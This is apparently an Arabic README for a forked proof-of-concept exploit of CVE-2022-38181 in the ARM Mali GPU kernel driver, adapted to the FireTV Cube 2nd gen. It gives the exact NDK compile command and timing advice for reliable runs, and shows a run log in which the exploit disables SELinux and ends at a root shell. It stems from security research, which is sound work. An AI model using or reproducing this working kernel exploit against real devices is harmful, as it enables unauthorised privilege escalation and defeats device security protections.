
CVE-2022-38181 POC لـ FireTV Cube من الجيل الثاني (raven)
هذا فرع (fork) من PoC لجهاز Pixel 6 الخاص بباحث الأمن Man Yue Mo لثغرة CVE_2022_38181. اقرأ شرحه التفصيلي للثغرة هنا. تم إجراء تعديلات لمراعاة مساحة المستخدم 32bit في FireOS، بالإضافة إلى إصدارات برامج تشغيل Bifrost الأقدم (r16p0) ونواة لينكس (4.9.113) في الجيل الثاني من Cube. يستغل الـ PoC خطأً في برنامج تشغيل نواة ARM Mali للحصول على تنفيذ عشوائي للتعليمات البرمجية في النواة، والذي يُستخدم بعد ذلك لتعطيل SELinux والحصول على صلاحيات الجذر (root).
استخدمت الأمر التالي للترجمة باستخدام clang في ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
يجب تشغيل الاستغلال بعد 30-90 ثانية من إقلاع Cube لتحقيق أقصى موثوقية.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #